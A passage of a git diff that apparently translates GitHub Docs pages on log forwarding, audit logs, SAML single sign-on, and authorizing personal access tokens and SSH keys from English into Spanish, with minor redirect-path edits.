+1. Para cifrar la comunicación entre las terminales de syslog, haz clic en **Elegir archivo** y elige un certificado de CA para el servidor remoto de syslog. Deberás cargar un paquete de CA que contenga una concatenación del certificado de las CA que se involucran en firmar el certificado del servidor de remoto de bitácoras. Se validará la cadena de certificado completa, y debe terminar en un certificado raíz. Para obtener más información, consulta [Opciones TLS en la documentación de syslog-ng](https://support.oneidentity.com/technical-documents/syslog-ng-open-source-edition/3.16/administration-guide/56#TOPIC-956599).
 {% elsif ghae %}
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
-1. Under {% octicon "gear" aria-label="The Settings gear" %} **Settings**, click **Log forwarding**.
-  ![Log forwarding tab](/assets/images/enterprise/business-accounts/log-forwarding-tab.png)
-1. Under "Log forwarding", select **Enable log forwarding**.
-  ![Checkbox to enable log forwarding](/assets/images/enterprise/business-accounts/enable-log-forwarding-checkbox.png)
-1. Under "Server address", enter the address of the server you want to forward logs to.
-  ![Server address field](/assets/images/enterprise/business-accounts/server-address-field.png)
-1. Use the "Protocol" drop-down menu, and select a protocol.
-  ![Protocol drop-down menu](/assets/images/enterprise/business-accounts/protocol-drop-down-menu.png)
-1. Optionally, to enable TLS encrypted communication between syslog endpoints, select **Enable TLS**.
-  ![Checkbox to enable TLS](/assets/images/enterprise/business-accounts/enable-tls-checkbox.png)
-1. Under "Public certificate", paste your x509 certificate.
-  ![Text box for public certificate](/assets/images/enterprise/business-accounts/public-certificate-text-box.png)
-1. Click **Save**.
-  ![Save button for log forwarding](/assets/images/enterprise/business-accounts/save-button-log-forwarding.png)
+1. Debajo de {% octicon "gear" aria-label="The Settings gear" %} **Configuración**, da clic en **Reenvío de bitácoras**. ![Pestaña de reenvío de bitácoras](/assets/images/enterprise/business-accounts/log-forwarding-tab.png)
+1. Debajo de "Reenvío de bitácoras", selecciona **Habilitar el reenvío de bitácoras**. ![Casilla de verificación para habilitar el reenvío de bitácoras](/assets/images/enterprise/business-accounts/enable-log-forwarding-checkbox.png)
+1. Debajo de "Dirección del servidor", ingresa la dirección del servidor al cual quieras reenviar las bitácoras. ![Campo de dirección del servidor](/assets/images/enterprise/business-accounts/server-address-field.png)
+1. Utiliza el menú desplegable de "Protocolo", y selecciona un protocolo. ![Menú desplegable del protocolo](/assets/images/enterprise/business-accounts/protocol-drop-down-menu.png)
+1. Opcionalmente, para habilitar la comunicación cifrada con TLS entre las terminales de syslog, selecciona **Habilitar TLS**. ![Casilla de verificación para habilitar TLS](/assets/images/enterprise/business-accounts/enable-tls-checkbox.png)
+1. Debajo de "Certificado público", pega tu certificado x509. ![Caja de texto para el certificado público](/assets/images/enterprise/business-accounts/public-certificate-text-box.png)
+1. Haz clic en **Save ** (guardar). ![Botón de guardar para el reenvío de bitácoras](/assets/images/enterprise/business-accounts/save-button-log-forwarding.png)
 {% endif %}
 
 {% ifversion ghes %}
-## Troubleshooting
+## Solución de problemas
 
-If you run into issues with log forwarding, contact {% data variables.contact.contact_ent_support %} and attach the output file from `http(s)://[hostname]/setup/diagnostics` to your email.
+Si encuentras problemas con el redireccionamiento de registro, contacta a {% data variables.contact.contact_ent_support %} y adjunta el archivo de salida de `http(s)://[hostname]/setup/diagnostics` to your email.
 {% endif %}
diff --git a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md
index b0ca7ed1f5..5cc3082c60 100644
--- a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md
+++ b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md
@@ -9,7 +9,7 @@ redirect_from:
   - /admin/user-management/managing-global-webhooks
   - /admin/user-management/managing-users-in-your-enterprise/managing-global-webhooks
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/configuring-webhooks-for-organization-events-in-your-enterprise-account
-  - /articles/configuring-webhooks-for-organization-events-in-your-business-account/
+  - /articles/configuring-webhooks-for-organization-events-in-your-business-account
   - /articles/configuring-webhooks-for-organization-events-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/configuring-webhooks-for-organization-events-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/configuring-webhooks-for-organization-events-in-your-enterprise-account
diff --git a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md
index 1845837865..ba3e005b92 100644
--- a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md
+++ b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md
@@ -2,7 +2,7 @@
 title: Buscar el registro de auditoría
 intro: Los administradores de sitio pueden buscar en una lista extensa de acciones auditadas en la empresa.
 redirect_from:
-  - /enterprise/admin/articles/searching-the-audit-log/
+  - /enterprise/admin/articles/searching-the-audit-log
   - /enterprise/admin/installation/searching-the-audit-log
   - /enterprise/admin/user-management/searching-the-audit-log
   - /admin/user-management/searching-the-audit-log
diff --git a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md
index 1de673b456..4cddb137f3 100644
--- a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md
+++ b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md
@@ -2,7 +2,7 @@
 title: Ver registros de subidas
 intro: Los administradores de sitio pueden ver una lista de operaciones de subida de git para cualquier repositorio en la empresa.
 redirect_from:
-  - /enterprise/admin/articles/viewing-push-logs/
+  - /enterprise/admin/articles/viewing-push-logs
   - /enterprise/admin/installation/viewing-push-logs
   - /enterprise/admin/user-management/viewing-push-logs
   - /admin/user-management/viewing-push-logs
diff --git a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md
index 94f9079075..0251394246 100644
--- a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md
+++ b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: About authentication with SAML single sign-on
-intro: 'You can access {% ifversion ghae %}{% data variables.product.product_location %}{% elsif ghec %}an organization that uses SAML single sign-on (SSO){% endif %} by authenticating {% ifversion ghae %}with SAML single sign-on (SSO) {% endif %}through an identity provider (IdP).{% ifversion ghec %} After you authenticate with the IdP successfully from {% data variables.product.product_name %}, you must authorize any personal access token, SSH key, or {% data variables.product.prodname_oauth_app %} you would like to access the organization''s resources.{% endif %}'
+title: Acerca de la autenticación con el inicio de sesión único de SAML
+intro: 'Puedes acceder a {% ifversion ghae %}{% data variables.product.product_location %}{% elsif ghec %}una organización que utilice el inicio de sesión único (SSO) de SAML{% endif %}s si te autenticas {% ifversion ghae %} con el inicio de sesión único (SSO) de SAML {% endif %}a través de un proveedor de identidad (IdP).{% ifversion ghec %} Después de que te autentiques exitosamente con el IdP desde {% data variables.product.product_name %}, debes autorizar cualquier token de acceso personal, llave SSH o {% data variables.product.prodname_oauth_app %} a la que quieras acceder en los recursos de la organización.{% endif %}'
 redirect_from:
   - /articles/about-authentication-with-saml-single-sign-on
   - /github/authenticating-to-github/about-authentication-with-saml-single-sign-on
@@ -10,50 +10,51 @@ versions:
   ghec: '*'
 topics:
   - SSO
-shortTitle: SAML single sign-on
+shortTitle: Inicio de sesión único de SAML
 ---
-## About authentication with SAML SSO
+
+## Acerca de la autenticación con el SSO de SAML
 
 {% ifversion ghae %}
 
-SAML SSO allows an enterprise owner to centrally control and secure access to {% data variables.product.product_name %} from a SAML IdP. When you visit {% data variables.product.product_location %} in a browser, {% data variables.product.product_name %} will redirect you to your IdP to authenticate. After you successfully authenticate with an account on the IdP, the IdP redirects you back to {% data variables.product.product_location %}. {% data variables.product.product_name %} validates the response from your IdP, then grants access.
+El SSO de SAML permite que un propietario de empresa controle centralmente y asegure el acceso a {% data variables.product.product_name %} desde un IdP de SAML. Cuando visitas {% data variables.product.product_location %} en un buscador, {% data variables.product.product_name %} te redireccionará a tu IdP para autenticarte. Después de que te autenticas exitosamente con una cuenta en el IdP, éste te redirigirá de vuelta a {% data variables.product.product_location %}. {% data variables.product.product_name %} valida la respuesta de tu IdP y luego te otorga el acceso.
 
 {% data reusables.saml.you-must-periodically-authenticate %}
 
-If you can't access {% data variables.product.product_name %}, contact your local enterprise owner or administrator for {% data variables.product.product_name %}. You may be able to locate contact information for your enterprise by clicking **Support** at the bottom of any page on {% data variables.product.product_name %}. {% data variables.product.company_short %} and {% data variables.contact.github_support %} do not have access to your IdP, and cannot troubleshoot authentication problems. 
+Si nopuedes acceder a {% data variables.product.product_name %}, contacta al propietario o al administrador local de tu empresa para {% data variables.product.product_name %}. Puede que seas capaz de ubicar la información de contacto para tu empresa dando clic en **Soporte** en la parte inferior de cualquier página en {% data variables.product.product_name %}. {% data variables.product.company_short %} y {% data variables.contact.github_support %} carecen de acceso a tu IdP y no pueden solucionar problemas de autenticación.
 
 {% endif %}
 
 {% ifversion fpt or ghec %}
 
-{% data reusables.saml.dotcom-saml-explanation %} Organization owners can invite your user account on {% data variables.product.prodname_dotcom %} to join their organization that uses SAML SSO, which allows you to contribute to the organization and retain your existing identity and contributions on {% data variables.product.prodname_dotcom %}.
+{% data reusables.saml.dotcom-saml-explanation %} Los propietarios de la organización pueden invitar a tu cuenta de usuario en {% data variables.product.prodname_dotcom %} para unirse a la organización que utiliza SAML SSO, lo cual te permite contribuir con ella y mantener tu identidad actual y las contribuciones con {% data variables.product.prodname_dotcom %}.
 
-If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you will use a new account that is provisioned for you. {% data reusables.enterprise-accounts.emu-more-info-account %}
+Si eres miembro de una {% data variables.product.prodname_emu_enterprise %}, utilizarás una cuenta nueva que se aprovisionará para ti. {% data reusables.enterprise-accounts.emu-more-info-account %}
 
 
-When you access resources within an organization that uses SAML SSO, {% data variables.product.prodname_dotcom %} will redirect you to the organization's SAML IdP to authenticate. After you successfully authenticate with your account on the IdP, the IdP redirects you back to {% data variables.product.prodname_dotcom %}, where you can access the organization's resources.
+Cuando accedes a recurso dentro de la organización que utiliza SAML SSO, , {% data variables.product.prodname_dotcom %} te redirigirá a el SAML IdP de la organización para autenticarte. Después de que te autentiques exitosamente con tu cuenta en el IdP, este te redirigirá de vuelta a {% data variables.product.prodname_dotcom %}, en donde podrás acceder a los recursos de la organización.
 
 {% data reusables.saml.outside-collaborators-exemption %}
 
-If you have recently authenticated with your organization's SAML IdP in your browser, you are automatically authorized when you access a {% data variables.product.prodname_dotcom %} organization that uses SAML SSO. If you haven't recently authenticated with your organization's SAML IdP in your browser, you must authenticate at the SAML IdP before you can access the organization.
+Si te has autenticado recientemente con tu SAML IdP de la organización en tu navegador, estás autorizado automáticamente cuando accedas a la {% data variables.product.prodname_dotcom %} organización que utiliza SAML SSO. Si no te has autenticado recientemente con el SAML IdP de tu organización en tu navegador, debes hacerlo en el SAML IdP antes de acceder a la organización.
 
 {% data reusables.saml.you-must-periodically-authenticate %}
 
-To use the API or Git on the command line to access protected content in an organization that uses SAML SSO, you will need to use an authorized personal access token over HTTPS or an authorized SSH key.
+Para usar la API o Git en la línea de comandos para acceder a contenido protegido en una organización que usa SAML SSO, necesitarás usar un token de acceso personal autorizado a través de HTTPS o una clave SSH autorizada.
 
-If you don't have a personal access token or an SSH key, you can create a personal access token for the command line or generate a new SSH key. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" or "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+Si no tienes un token de acceso personal ni una clave SSH, puedes crear un token de acceso personal para la línea de comandos o generar una clave SSH nueva. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)" o "[Generar una nueva llave SSH y añadirla al agente de ssh](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)".
 
-To use a new or existing personal access token or SSH key with an organization that uses or enforces SAML SSO, you will need to authorize the token or authorize the SSH key for use with a SAML SSO organization. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" or "[Authorizing an SSH key for use with SAML single sign-on](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."
+Para utilizar un token de acceso personal existente o nuevo o una llave SSH con la organización que utiliza o requiere el SSO de SAML, necesitarás autorizar el token o la llave SSH para que se utilicen con una organización que maneje el SSO de SAML. Para obtener más información, consulta "[Autorizar un token de acceso personal para utilizarlo con el inicio de sesión único de SAML](/articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" o "[Autorizar una llave SSH para su uso con el inicio de sesión único de SAML](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."
 
-## About {% data variables.product.prodname_oauth_apps %} and SAML SSO
+## Acerca de {% data variables.product.prodname_oauth_apps %} y del SSO de SAML
 
-You must have an active SAML session each time you authorize an {% data variables.product.prodname_oauth_app %} to access an organization that uses or enforces SAML SSO.
+Debes tener una sesión de SAML activa cada vez que autorices a una {% data variables.product.prodname_oauth_app %} para que acceda a una organización que utilice o requiera el SSO de SAML.
 
-After an enterprise or organization owner enables or enforces SAML SSO for an organization, you must reauthorize any {% data variables.product.prodname_oauth_app %} that you previously authorized to access the organization. To see the {% data variables.product.prodname_oauth_apps %} you've authorized or reauthorize an {% data variables.product.prodname_oauth_app %}, visit your [{% data variables.product.prodname_oauth_apps %} page](https://github.com/settings/applications).
+Después de que un propietario de empresa u organización habilite o requiera el SSO de SAML para su organización, debes volver a autorizar a cualquier {% data variables.product.prodname_oauth_app %} que hayas autorizado antes para que acceda a dicha organización. Para ver las {% data variables.product.prodname_oauth_apps %} que autorizaste o para volver a autorizar alguna {% data variables.product.prodname_oauth_app %}, visita tu [página de {% data variables.product.prodname_oauth_apps %}](https://github.com/settings/applications).
 
 {% endif %}
 
-## Further reading
+## Leer más
 
-{% ifversion ghec %}- "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)"{% endif %}
-{% ifversion ghae %}- "[About identity and access management for your enterprise](/admin/authentication/about-identity-and-access-management-for-your-enterprise)"{% endif %}
+{% ifversion ghec %}- "[Acerca de la administración de identidad y acceso con el inicio de sesión único de SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)"{% endif %}
+{% ifversion ghae %}- "[Acerca de la identidad y administración de accesos para tu empresa](/admin/authentication/about-identity-and-access-management-for-your-enterprise)"{% endif %}
diff --git a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
index cd89fcbb59..3aabf3e582 100644
--- a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
+++ b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: Authorizing a personal access token for use with SAML single sign-on
-intro: 'To use a personal access token with an organization that uses SAML single sign-on (SSO), you must first authorize the token.'
+title: Autorizar un token de acceso personal para usar con un inicio de sesión único de SAML
+intro: 'Para usar un token de acceso personal con una organización que usa el inicio de sesión único de SAML (SSO), primer debes autorizar el token.'
 redirect_from:
   - /articles/authorizing-a-personal-access-token-for-use-with-a-saml-single-sign-on-organization
   - /articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on
@@ -10,22 +10,21 @@ versions:
   ghec: '*'
 topics:
   - SSO
-shortTitle: PAT with SAML
+shortTitle: PAT con SAML
 ---
-You can authorize an existing personal access token, or [create a new personal access token](/github/authenticating-to-github/creating-a-personal-access-token) and then authorize it.
+
+Puedes autorizar un token de acceso personal existente, o [crear un nuevo token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token) y luego autorizarlo.
 
 {% data reusables.saml.authorized-creds-info %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.developer_settings %}
 {% data reusables.user_settings.personal_access_tokens %}
-3. Next to the token you'd like to authorize, click **Enable SSO** or **Disable SSO**.
-   ![SSO token authorize button](/assets/images/help/settings/sso-allowlist-button.png)
-4. Find the organization you'd like to authorize the access token for.
-4. Click **Authorize**.
-   ![Token authorize button](/assets/images/help/settings/token-authorize-button.png)
+3. Junto al token que deseas autorizar, haz clic en **Enable SSO** (Habilitar SSO) o **Disable SSO** (Deshabilitar SSO). ![Botón para autorizar el token SSO](/assets/images/help/settings/sso-allowlist-button.png)
+4. Busca la organización para la que deseas autorizar el token de acceso.
+4. Da clic en **Autorizar**. ![Botón para autorizar el token](/assets/images/help/settings/token-authorize-button.png)
 
-## Further reading
+## Leer más
 
-- "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)"
-- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)"
+- "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)"
+- "[Acerca de la autenticación con inicio de sesión único de SAML](/articles/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
index 2bd5cef6ba..89c0991857 100644
--- a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
+++ b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: Authorizing an SSH key for use with SAML single sign-on
-intro: 'To use an SSH key with an organization that uses SAML single sign-on (SSO), you must first authorize the key.'
+title: Autorizar una clave SSH para usar con un inicio único de SAML
+intro: 'Para usar una clave SSH con una organización que usa un inicio de sesión único (SSO) de SAML, primero debes autorizar la clave.'
 redirect_from:
   - /articles/authorizing-an-ssh-key-for-use-with-a-saml-single-sign-on-organization
   - /articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on
@@ -10,27 +10,26 @@ versions:
   ghec: '*'
 topics:
   - SSO
-shortTitle: SSH Key with SAML
+shortTitle: Llave SSH con SAML
 ---
-You can authorize an existing SSH key, or create a new SSH key and then authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+
+Puedes autorizar una clave SSH existente, o crear una nueva clave SSH, y luego autorizarla. Para más información sobre la creación de una nueva clave SSH, consulta "[Generar una nueva clave SSH y agregarla al ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)".
 
 {% data reusables.saml.authorized-creds-info %}
 
 {% note %}
 
-**Note:** If your SSH key authorization is revoked by an organization, you will not be able to reauthorize the same key. You will need to create a new SSH key and authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+**Nota:** Si tu autorización de clave SSH es revocada por una organización, no podrás volver a autorizar la misma clave. Deberás crear una nueva clave SSH y autorizarla. Para más información sobre la creación de una nueva clave SSH, consulta "[Generar una nueva clave SSH y agregarla al ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)".
 
 {% endnote %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
-3. Next to the SSH key you'd like to authorize, click **Enable SSO** or **Disable SSO**.
-![SSO token authorize button](/assets/images/help/settings/ssh-sso-button.png)
-4. Find the organization you'd like to authorize the SSH key for.
-5. Click **Authorize**.
-![Token authorize button](/assets/images/help/settings/ssh-sso-authorize.png)
+3. Junto a la clave SSH que deseas autorizar, haz clic en **Enable SSO** (Habilitar SSO) o **Disable SSO** (Deshabilitar SSO). ![Botón para autorizar el token SSO](/assets/images/help/settings/ssh-sso-button.png)
+4. Busca la organización para la que deseas autorizar la clave SSH.
+5. Da clic en **Autorizar**. ![Botón para autorizar el token](/assets/images/help/settings/ssh-sso-authorize.png)
 
-## Further reading
+## Leer más
 
-- "[Checking for existing SSH keys](/articles/checking-for-existing-ssh-keys)"
-- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)"
+- "[Comprobar claves SSH existentes](/articles/checking-for-existing-ssh-keys)"
+- "[Acerca de la autenticación con inicio de sesión único de SAML](/articles/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/index.md b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/index.md
index c609a547c9..17477ef2ec 100644
--- a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/index.md
+++ b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/index.md
@@ -1,6 +1,6 @@
 ---
-title: Authenticating with SAML single sign-on
-intro: 'You can authenticate to {% data variables.product.product_name %} with SAML single sign-on (SSO){% ifversion ghec %} and view your active sessions{% endif %}.'
+title: Autenticación con inicio de sesión único de SAML
+intro: 'Puedes autenticarte en {% data variables.product.product_name %} con el inicio de sesión único (SSO) de SAML{% ifversion ghec %} y ver tus sesiones activas{% endif %}.'
 redirect_from:
   - /articles/authenticating-to-a-github-organization-with-saml-single-sign-on
   - /articles/authenticating-with-saml-single-sign-on
@@ -15,6 +15,6 @@ children:
   - /authorizing-an-ssh-key-for-use-with-saml-single-sign-on
   - /authorizing-a-personal-access-token-for-use-with-saml-single-sign-on
   - /viewing-and-managing-your-active-saml-sessions
-shortTitle: Authenticate with SAML
+shortTitle: Autenticarse con SAML
 ---
 
diff --git a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
index 466649aa42..755f4ffac2 100644
--- a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
+++ b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and managing your active SAML sessions
-intro: You can view and revoke your active SAML sessions in your security settings.
+title: Ver y administrar tus sesiones de SAML activas
+intro: Puedes ver y revocar tus sesiones de SAML activas en tus parámetros de seguridad.
 redirect_from:
   - /articles/viewing-and-managing-your-active-saml-sessions
   - /github/authenticating-to-github/viewing-and-managing-your-active-saml-sessions
@@ -9,23 +9,21 @@ versions:
   ghec: '*'
 topics:
   - SSO
-shortTitle: Active SAML sessions
+shortTitle: Sesiones activas de SAML
 ---
+
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-3. Under "Sessions," you can see your active SAML sessions.
-   ![List of active SAML sessions](/assets/images/help/settings/saml-active-sessions.png)
-4. To see the session details, click **See more**.
-   ![Button to open SAML session details](/assets/images/help/settings/saml-expand-session-details.png)
-5. To revoke a session, click **Revoke SAML**.
-   ![Button to revoke a SAML session](/assets/images/help/settings/saml-revoke-session.png)
+3. Debajo de "Sesiones" puedes ver tus sesiones activas de SAML. ![Lista de sesiones de SAML activas](/assets/images/help/settings/saml-active-sessions.png)
+4. Para ver los detalles de la sesión, da clic en **Ver más**. ![Botón para abrir los detalles de la sesión de SAML](/assets/images/help/settings/saml-expand-session-details.png)
+5. Para revocar una sesión, da clic en **Revocar SAML**. ![Botón para revocar una sesión de SAML](/assets/images/help/settings/saml-revoke-session.png)
 
   {% note %}
 
-  **Note:** When you revoke a session, you remove your SAML authentication to that organization. To access the organization again, you will need to single sign-on through your identity provider. For more information, see "[About authentication with SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."
+  **Nota:** Cuando revocas una sesión, puedes eliminar tu autenticación de SAML para esa organización. Para volver a acceder a la organización, tendrás que hacer un inicio de sesión único a través de tu proveedor de identidad. Para obtener más información, consulta "[Acerca de la autenticación con SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)".
 
   {% endnote %}
 
-## Further reading
+## Leer más
 
-- "[About authentication with SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
+- "[Acerca de la autenticación con SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/es-ES/content/authentication/connecting-to-github-with-ssh/about-ssh.md b/translations/es-ES/content/authentication/connecting-to-github-with-ssh/about-ssh.md
index a649ffb628..2858c726b4 100644
--- a/translations/es-ES/content/authentication/connecting-to-github-with-ssh/about-ssh.md
+++ b/translations/es-ES/content/authentication/connecting-to-github-with-ssh/about-ssh.md
@@ -1,6 +1,6 @@
 ---
-title: About SSH
-intro: 'Using the SSH protocol, you can connect and authenticate to remote servers and services. With SSH keys, you can connect to {% data variables.product.product_name %} without supplying your username and personal access token at each visit.'
+title: Acerca de SSH
+intro: 'Usando el protocolo SSH, te puedes conectar y autenticar con servicios y servidores remotos. Con las llaves SSH puedes conectarte a {% data variables.product.product_name %} sin proporcionar tu nombre de usuario y token de acceso personal en cada visita.'
 redirect_from:
   - /articles/about-ssh
   - /github/authenticating-to-github/about-ssh
@@ -13,22 +13,23 @@ versions:
 topics:
   - SSH
 ---
-When you set up SSH, you will need to generate a new SSH key and add it to the ssh-agent. You must add the SSH key to your account on {% data variables.product.product_name %} before you use the key to authenticate. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)" and "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
 
-You can further secure your SSH key by using a hardware security key, which requires the physical hardware security key to be attached to your computer when the key pair is used to authenticate with SSH. You can also secure your SSH key by adding your key to the ssh-agent and using a passphrase. For more information, see "[Working with SSH key passphrases](/github/authenticating-to-github/working-with-ssh-key-passphrases)."
+Cuando configures SSH, necesitarás generar una llave SSH nuevo y agregarla al agente ssh. Debes agregar la llave SSH a tu cuenta en {% data variables.product.product_name %} antes de utilizarla para autenticarte. Para obtener más información, consulta las secciones "[Generar una llave SSH nueva y agregarla al ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)" y "[Agregar una llave SSH nueva a tu cuenta de {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)".
 
-{% ifversion fpt or ghec %}To use your SSH key with a repository owned by an organization that uses SAML single sign-on, you must authorize the key. For more information, see "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+Puedes asegurar tu llave SSH aún más si utilizas una llave de seguridad de hardware, la cual requiere que esta última se conecte físicamente a tu computadora cuando se utilice el par de llaves para autenticarte con SSH. También puedes asegurar tu llave SSH si la agregas al ssh-agent y utiliza una contraseña. Para obtener más información, consulta la sección "[Trabajar con frases de acceso con llave SSH](/github/authenticating-to-github/working-with-ssh-key-passphrases)".
 
-To maintain account security, you can regularly review your SSH keys list and revoke any keys that are invalid or have been compromised. For more information, see "[Reviewing your SSH keys](/github/authenticating-to-github/reviewing-your-ssh-keys)."
+{% ifversion fpt or ghec %}Para utilizar tu llave SSH con un repositorio que pertenece a una organización que utiliza el inicio de sesión único de SAML, debes autorizar dicha llave. Para obtener más información, consulta la sección "[Autorizar una llave SSH para utilizarse con el inicio de sesión único de SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% else %}".{% endif %}{% endif %}
+
+Para mantener la seguridad de cuenta, puedes revisar tu lista de llaves SSH frecuentemente y retirar cualquier llave que sea inválida o que se haya puesto en riesgo. Para obtener más información, consulta "[Revisar tus claves SSH](/github/authenticating-to-github/reviewing-your-ssh-keys)".
 
 {% ifversion fpt or ghec %}
-If you haven't used your SSH key for a year, then {% data variables.product.prodname_dotcom %} will automatically delete your inactive SSH key as a security precaution. For more information, see "[Deleted or missing SSH keys](/articles/deleted-or-missing-ssh-keys)."
+Si no has usado tu clave SSH por un año, entonces {% data variables.product.prodname_dotcom %} automáticamente eliminará tu clave SSH inactiva, como medida de seguridad. Para obtener más información, consulta "[Claves SSH eliminadas o faltantes](/articles/deleted-or-missing-ssh-keys)".
 {% endif %}
 
-If you're a member of an organization that provides SSH certificates, you can use your certificate to access that organization's repositories without adding the certificate to your account on {% data variables.product.product_name %}. You cannot use your certificate to access forks of the organization's repositories that are owned by your user account. For more information, see "[About SSH certificate authorities](/articles/about-ssh-certificate-authorities)."
